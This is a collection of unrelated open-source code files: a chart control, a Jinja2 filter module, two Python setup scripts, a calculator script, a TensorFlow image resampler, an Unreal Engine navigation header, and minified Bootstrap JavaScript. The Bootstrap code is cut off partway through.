<color></color> <line_alpha></line_alpha> <selection_color></selection_color> <selection_alpha></selection_alpha> <x_balloon_enabled></x_balloon_enabled> <x_balloon_text_color></x_balloon_text_color> <y_balloon_text_size>' + textSize + '</y_balloon_text_size> <y_balloon_on_off>'+legendHighlight+'</y_balloon_on_off> <one_y_balloon>'+oneBalloon+'</one_y_balloon> </indicator><legend><enabled>' + legend_enabled + '</enabled> <x></x> <y>' + Math.floor(height*0.1) + '</y> <width></width> <max_columns></max_columns> <color></color> <alpha></alpha> <border_color></border_color> <border_alpha></border_alpha> <text_color></text_color> <text_color_hover></text_color_hover> <text_size>' + textSize + '</text_size> <spacing>5</spacing> ' +
'<margins></margins> <graph_on_off>false</graph_on_off> <key> <size></size> <border_color></border_color> <key_mark_color></key_mark_color> </key> <values> <enabled></enabled> <width></width> <align></align> <text><![CDATA[]]></text> </values> </legend><zoom_out_button> <x></x> <y></y> <color></color> <alpha></alpha> <text_color></text_color> <text_color_hover></text_color_hover> <text_size>' + textSize + '</text_size> <text></text> </zoom_out_button><help> <button> <x></x> <y></y> <color></color> <alpha></alpha> <text_color></text_color> <text_color_hover></text_color_hover> <text_size>' + textSize + '</text_size> <text></text> </button> <balloon> <color></color> <alpha></alpha> <width></width> <text_color></text_color> <text_size>' + textSize + '</text_size> <text><![CDATA[]]></text> </balloon> </help><strings> <no_data></no_data> <export_as_image></export_as_image> <error_in_data_file></error_in_data_file> <collecting_data></collecting_data> <wrong_zoom_value></wrong_zoom_value> </strings><labels><label> <x></x> <y>5</y> <rotate></rotate> <width></width> <align>center</align> <text_color></text_color> <text_size>' + textSize + '</text_size> <text> <![CDATA[' + title + ']]> </text> </label></labels> <graphs>' + chartTitles + '</graphs></settings>'));
} else
{
throw ('Appcelerator Chart Error: type must be set to either "pie", "bar", "line" or a valid value passed via the incoming property message; "' + type + '" is not a valid chart type.');
}
if (so != null)
{
so.addVariable("path", App.UI.componentRoot+"controls/chart/swf/");
so.addVariable("chart_data", escape(data_as_csv));
so.addVariable("preloader_color", backgroundColor);
so.write(this.element.id);
}
};
this.getDataAsCSV = function (array_of_data)
{
var data_as_csv = '';
for (var i = 0, len = array_of_data.length; i < len; i++)
{
data_as_csv += array_of_data[i]['name'] + ',' + array_of_data[i]['value'] + '\n';
}
return data_as_csv;
};
this.getActions = function()
{
return ['render','execute'];
};
/**
* This is called when the control is loaded and applied for a specific element that
* references (or uses implicitly) the control.
*/
this.build = function(element,options)
{
this.options = options;
this.element = element;
};
}
});
|
#
# (c) Copyright 2015 Hewlett Packard Enterprise Development LP
# (c) Copyright 2017 SUSE LLC
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
#
import jinja2.runtime as jrt
def _split_refs(refs):
# ["a.b[0][1]", "c"] => ["a", "b[0][1]", c"]
refs = reduce(lambda acc, i: acc + i.split('.'), refs, [])
def split_indexes(acc, item):
# "b[0][1]" => ["b", "0", "1"]
p = item.partition('[')
if len(p[1]) == 0:
return acc + [item]
return (acc + [p[0]] + p[2][:-1].split(']['))
refs = reduce(split_indexes, refs, [])
return refs
def item(root, *refs, **kwargs):
"""Complement to attr."""
default = kwargs.get('d', jrt.StrictUndefined())
default = kwargs.get('default', default)
for ref in _split_refs(refs):
try:
if type(root) is list and ref.isdigit():
ref = int(ref)
try:
root = root[ref]
except KeyError:
if not ref.isdigit():
raise
root = root[int(ref)]
except (KeyError, jrt.UndefinedError, IndexError):
return default
if isinstance(root, jrt.Undefined):
return default
return root
def by_item(array, path, value):
if isinstance(array, jrt.Undefined):
return []
return [x for x in array
if item(x, path, default=jrt.Undefined) == value]
def test_item():
data = {'a': {'b': {'c': 111}}}
assert item(data, 'a', 'b', 'c') is 111
assert item(data, 'a.b', 'c') is 111
assert item(data, 'a', 'b.c') is 111
assert item(data, 'a.b.c') is 111
assert isinstance(item(data, 'x', 'b'), jrt.Undefined)
assert item(data, 'x', 'b', default=999) is 999
assert item(data, 'a', 'x', default=999) is 999
assert item(data, 'x', d=999) is 999
assert item(data, 'x', d=None) is None
data = {'a': [{'b': 111}, [222]]}
assert item(data, 'a[0].b') is 111
assert item(data, 'a.0.b') is 111
assert item(data, 'a.0.1', d=999) is 999
assert item(data, 'a[1][0]') is 222
assert item(data, 'a.1.0') is 222
assert item({'0': 111}, '0') is 111
assert item({0: 111}, '0') is 111
undef = jrt.StrictUndefined()
assert item(undef, d=999) is 999
assert item(undef, 'x', d=999) is 999
assert item({'a': undef}, 'a', d=999) is 999
def test_by_item():
data = [{'con': {'env': 'home'}, 'mount': '/var/lib/rabbitmq'},
{'con': {'env': 'device'}, 'dev': '/dev/sda1'}]
assert by_item(data, 'con.env', 'home') == [data[0]]
assert by_item(data, 'con.env', 'device') == [data[1]]
assert by_item(data, 'con.env', 'invalid') == []
assert by_item(data, 'con.invalid', 'invaid') == []
class FilterModule(object):
def filters(self):
test_item()
return {
'item': item,
'by_item': by_item
}
if __name__ == "__main__":
test_item()
test_by_item()
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from setuptools import setup, find_packages
with open('README.rst') as f:
readme = f.read()
with open('LICENSE') as f:
license = f.read()
setup(
name='key-functions-python',
version='1.0',
description='D8-tree key functions.',
author='Cesare Cugnasco',
author_email='cesare.cugnasco@bsc.es',
long_description=readme,
url='https://github.com/cugni/key-functions-python',
license=license,
packages=find_packages(exclude=('tests', 'docs'))
)
|
document.getElementById('btn0').addEventListener('click', function()
{
document.getElementById('res').insertAdjacentHTML('beforeend', '0');
});
document.getElementById('btn1').addEventListener('click', function()
{
document.getElementById('res').insertAdjacentHTML('beforeend', '1');
});
function operatorAction(eve)
{
var btn = eve.target;
// Add the inner html for the operator buttons into the results field
document.getElementById('res').insertAdjacentHTML('beforeend', btn.innerHTML);
}
document.getElementById('btnSum').onclick = operatorAction;
document.getElementById('btnMul').onclick = operatorAction;
document.getElementById('btnDiv').onclick = operatorAction;
document.getElementById('btnSub').onclick = operatorAction;
document.getElementById('btnClr').onclick = function()
{
(document.getElementById('res').innerHTML) = "";
};
|
# coding=utf-8
# Copyright 2021 The Google Research Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""TPU-aware functions for resampling images."""
import tensorflow.compat.v1 as tf
def safe_gather_nd(params, indices):
"""Gather slices from params into a Tensor with shape specified by indices.
Similar functionality to tf.gather_nd with difference: when index is out of
bound, always return 0.
Args:
params: A Tensor. The tensor from which to gather values.
indices: A Tensor. Must be one of the following types: int32, int64. Index
tensor.
Returns:
A Tensor. Has the same type as params. Values from params gathered from
specified indices (if they exist) otherwise zeros, with shape
indices.shape[:-1] + params.shape[indices.shape[-1]:].
"""
params_shape = tf.shape(params)
indices_shape = tf.shape(indices)
slice_dimensions = indices_shape[-1]
max_index = params_shape[:slice_dimensions] - 1
min_index = tf.zeros_like(max_index, dtype=tf.int32)
clipped_indices = tf.clip_by_value(indices, min_index, max_index)
# Check whether each component of each index is in range [min, max], and
# allow an index only if all components are in range:
mask = tf.reduce_all(
tf.logical_and(indices >= min_index, indices <= max_index), -1)
mask = tf.expand_dims(mask, -1)
return (tf.cast(mask, dtype=params.dtype) *
tf.gather_nd(params, clipped_indices))
def resampler_with_unstacked_warp(data,
warp_x,
warp_y,
safe=True,
name='resampler'):
"""Resamples input data at user defined coordinates.
Args:
data: Tensor of shape `[batch_size, data_height, data_width,
data_num_channels]` containing 2D data that will be resampled.
warp_x: Tensor of shape `[batch_size, dim_0, ... , dim_n]` containing the x
coordinates at which resampling will be performed.
warp_y: Tensor of the same shape as warp_x containing the y coordinates at
which resampling will be performed.
safe: A boolean, if True, warp_x and warp_y will be clamped to their bounds.
Disable only if you know they are within bounds, otherwise a runtime
exception will be thrown.
name: Optional name of the op.
Returns:
Tensor of resampled values from `data`. The output tensor shape is
`[batch_size, dim_0, ... , dim_n, data_num_channels]`.
Raises:
ValueError: If warp_x, warp_y and data have incompatible shapes.
"""
with tf.name_scope(name):
warp_x = tf.convert_to_tensor(warp_x)
warp_y = tf.convert_to_tensor(warp_y)
data = tf.convert_to_tensor(data)
if not warp_x.shape.is_compatible_with(warp_y.shape):
raise ValueError(
'warp_x and warp_y are of incompatible shapes: %s vs %s ' %
(str(warp_x.shape), str(warp_y.shape)))
warp_shape = tf.shape(warp_x)
if warp_x.shape[0] != data.shape[0]:
raise ValueError(
'\'warp_x\' and \'data\' must have compatible first '
'dimension (batch size), but their shapes are %s and %s ' %
(str(warp_x.shape[0]), str(data.shape[0])))
# Compute the four points closest to warp with integer value.
warp_floor_x = tf.floor(warp_x)
warp_floor_y = tf.floor(warp_y)
# Compute the weight for each point.
right_warp_weight = warp_x - warp_floor_x
down_warp_weight = warp_y - warp_floor_y
warp_floor_x = tf.to_int32(warp_floor_x)
warp_floor_y = tf.to_int32(warp_floor_y)
warp_ceil_x = tf.to_int32(tf.ceil(warp_x))
warp_ceil_y = tf.to_int32(tf.ceil(warp_y))
left_warp_weight = tf.subtract(
tf.convert_to_tensor(1.0, right_warp_weight.dtype), right_warp_weight)
up_warp_weight = tf.subtract(
tf.convert_to_tensor(1.0, down_warp_weight.dtype), down_warp_weight)
# Extend warps from [batch_size, dim_0, ... , dim_n, 2] to
# [batch_size, dim_0, ... , dim_n, 3] with the first element in last
# dimension being the batch index.
# A shape like warp_shape but with all sizes except the first set to 1:
warp_batch_shape = tf.concat(
[warp_shape[0:1], tf.ones_like(warp_shape[1:])], 0)
warp_batch = tf.reshape(
tf.range(warp_shape[0], dtype=tf.int32), warp_batch_shape)
# Broadcast to match shape:
warp_batch += tf.zeros_like(warp_y, dtype=tf.int32)
left_warp_weight = tf.expand_dims(left_warp_weight, axis=-1)
down_warp_weight = tf.expand_dims(down_warp_weight, axis=-1)
up_warp_weight = tf.expand_dims(up_warp_weight, axis=-1)
right_warp_weight = tf.expand_dims(right_warp_weight, axis=-1)
up_left_warp = tf.stack([warp_batch, warp_floor_y, warp_floor_x], axis=-1)
up_right_warp = tf.stack([warp_batch, warp_floor_y, warp_ceil_x], axis=-1)
down_left_warp = tf.stack([warp_batch, warp_ceil_y, warp_floor_x], axis=-1)
down_right_warp = tf.stack([warp_batch, warp_ceil_y, warp_ceil_x], axis=-1)
def gather_nd(params, indices):
return (safe_gather_nd if safe else tf.gather_nd)(params, indices)
# gather data then take weighted average to get resample result.
result = (
(gather_nd(data, up_left_warp) * left_warp_weight +
gather_nd(data, up_right_warp) * right_warp_weight) * up_warp_weight +
(gather_nd(data, down_left_warp) * left_warp_weight +
gather_nd(data, down_right_warp) * right_warp_weight) *
down_warp_weight)
result_shape = (
warp_x.get_shape().as_list() + data.get_shape().as_list()[-1:])
result.set_shape(result_shape)
return result
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from setuptools import setup
setup(
name='secretpuller',
version='1.0.0',
description='Small abstraction for pulling secret values from GCP secrets manager',
long_description='Small abstraction for pulling secret values from GCP secrets manager',
author='Evan Smith',
author_email='',
url='https://github.com/TheJokersThief/simple-gcp-secrets-manager-puller',
py_modules=['secretpuller'],
# package_dir={'secretpuller': 'src'},
package_dir={ '' : 'src' },
scripts=[],
test_suite='tests',
include_package_data=True,
zip_safe=False,
keywords='',
classifiers=[],
install_requires=["google-cloud-secret-manager==1.0.0"],
)
|
// Fill out your copyright notice in the Description page of Project Settings.
#pragma once
#include "UESVON/Public/SVONLink.h"
#include "UESVON/Public/SVONNavigationPath.h"
#include "UESVON/Public/SVONTypes.h"
#include <Runtime/Engine/Classes/Components/ActorComponent.h>
#include "SVONNavigationComponent.generated.h"
class ASVONVolume;
struct SVONLink;
UCLASS(ClassGroup = (Custom), meta = (BlueprintSpawnableComponent))
class UESVON_API USVONNavigationComponent : public UActorComponent
{
GENERATED_BODY()
public:
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "SVO Navigation | Debug")
bool DebugPrintCurrentPosition;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "SVO Navigation | Debug")
bool DebugPrintMortonCodes;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "SVO Navigation | Debug")
bool DebugDrawOpenNodes = false;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "SVO Navigation | Heuristics")
bool UseUnitCost = false;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "SVO Navigation | Heuristics")
float UnitCost = 10.f;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "SVO Navigation | Heuristics")
float EstimateWeight = 1.0f;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "SVO Navigation | Heuristics")
float NodeSizeCompensation = 1.0f;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "SVO Navigation | Heuristics")
ESVONPathCostType PathCostType = ESVONPathCostType::EUCLIDEAN;
UPROPERTY(EditAnywhere, BlueprintReadWrite, Category = "SVO Navigation | Smoothing")
int SmoothingIterations = 0;
// Sets default values for this component's properties
USVONNavigationComponent(const FObjectInitializer& ObjectInitializer);
public:
const ASVONVolume* GetCurrentVolume() const { return myCurrentNavVolume; }
// Get a Nav position
SVONLink GetNavPosition(FVector& aPosition) const;
virtual FVector GetPawnPosition() const;
virtual void TickComponent(float DeltaTime, ELevelTick TickType, FActorComponentTickFunction* ThisTickFunction) override;
/* This method isn't hooked up at the moment, pending integration with existing systems */
bool FindPathAsync(const FVector& aStartPosition, const FVector& aTargetPosition, FThreadSafeBool& aCompleteFlag, FSVONNavPathSharedPtr* oNavPath);
bool FindPathImmediate(const FVector& aStartPosition, const FVector& aTargetPosition, FSVONNavPathSharedPtr* oNavPath);
UFUNCTION(BlueprintCallable, Category = UESVON)
void FindPathImmediate(const FVector &aStartPosition, const FVector &aTargetPosition, TArray<FVector>& OutPathPoints);
FSVONNavPathSharedPtr& GetPath() { return mySVONPath; }
protected:
// Called when the game starts
virtual void BeginPlay() override;
// The current navigation volume
ASVONVolume* myCurrentNavVolume;
bool HasNavData() const;
// Check the scene for a valid volume that I am within the extents of
bool FindVolume();
// Print current layer/morton code information
void DebugLocalPosition(FVector& aPosition);
FSVONNavPathSharedPtr mySVONPath;
mutable SVONLink myLastLocation;
};
|
/*!
* Bootstrap v3.3.2 (http://getbootstrap.com)
* Copyright 2011-2015 [object Object]
* Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
*/
if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){return a(b.target).is(this)?b.handleObj.handler.apply(this,arguments):void 0}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.2",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a(f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.2",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")&&(c.prop("checked")&&this.$element.hasClass("active")?a=!1:b.find(".active").removeClass("active")),a&&c.prop("checked",!this.$element.hasClass("active")).trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active"));a&&this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target);d.hasClass("btn")||(d=d.closest(".btn")),b.call(d,"toggle"),c.preventDefault()}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.2",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));return a>this.$items.length-1||0>a?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){return this.sliding?void 0:this.slide("next")},c.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&"show"==b&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a(this.options.trigger).filter('[href="#'+b.id+'"], [data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.2",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0,trigger:'[data-toggle="collapse"]'},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":a.extend({},e.data(),{trigger:this});c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){b&&3===b.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=c(d),f={relatedTarget:this};e.hasClass("open")&&(e.trigger(b=a.Event("hide.bs.dropdown",f)),b.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger("hidden.bs.dropdown",f)))}))}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.2",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a('<div class="dropdown-backdrop"/>').insertAfter(a(this)).on("click",b);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger("shown.bs.dropdown",h)}return!1}},g.prototype.keydown=function(b){if(/(38|40|27|32)/.test(b.which)&&!/input|textarea/i.test(b.target.tagName)){var d=a(this);if(b.preventDefault(),b.stopPropagation(),!d.is(".disabled, :disabled")){var e=c(d),g=e.hasClass("open");if(!g&&27!=b.which||g&&27==b.which)return 27==b.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.divider):visible a",i=e.find('[role="menu"]'+h+', [role="listbox"]'+h);if(i.length){var j=i.index(b.target);38==b.which&&j>0&&j--,40==b.which&&j<i.length-1&&j++,~j||(j=0),i.eq(j).trigger("focus")}}}};var h=a.fn.dropdown;a.fn.dropdown=d,a.fn.dropdown.Constructor=g,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=h,this},a(document).on("click.bs.dropdown.data-api",b).on("click.bs.dropdown.data-api",".dropdown form",function(a){a.stopPropagation()}).on("click.bs.dropdown.data-api",f,g.prototype.toggle).on("keydown.bs.dropdown.data-api",f,g.prototype.keydown).on("keydown.bs.dropdown.data-api",'[role="menu"]',g.prototype.keydown).on("keydown.bs.dropdown.data-api",'[role="listbox"]',g.prototype.keydown)}(jQuery),+function(a){"use strict";function b(b,d){return this.each(function(){var e=a(this),f=e.data("bs.modal"),g=a.extend({},c.DEFAULTS,e.data(),"object"==typeof b&&b);f||e.data("bs.modal",f=new c(this,g)),"string"==typeof b?f[b](d):g.show&&f.show(d)})}var c=function(b,c){this.options=c,this.$body=a(document.body),this.$element=a(b),this.$backdrop=this.isShown=null,this.scrollbarWidth=0,this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,a.proxy(function(){this.$element.trigger("loaded.bs.modal")},this))};c.VERSION="3.3.2",c.TRANSITION_DURATION=300,c.BACKDROP_TRANSITION_DURATION=150,c.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},c.prototype.toggle=function(a){return this.isShown?this.hide():this.show(a)},c.prototype.show=function(b){var d=this,e=a.Event("show.bs.modal",{relatedTarget:b});this.$element.trigger(e),this.isShown||e.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.backdrop(function(){var e=a.support.transition&&d.$element.hasClass("fade");d.$element.parent().length||d.$element.appendTo(d.$body),d.$element.show().scrollTop(0),d.options.backdrop&&d.adjustBackdrop(),d.adjustDialog(),e&&d.$element[0].offsetWidth,d.$element.addClass("in").attr("aria-hidden",!1),d.enforceFocus();var 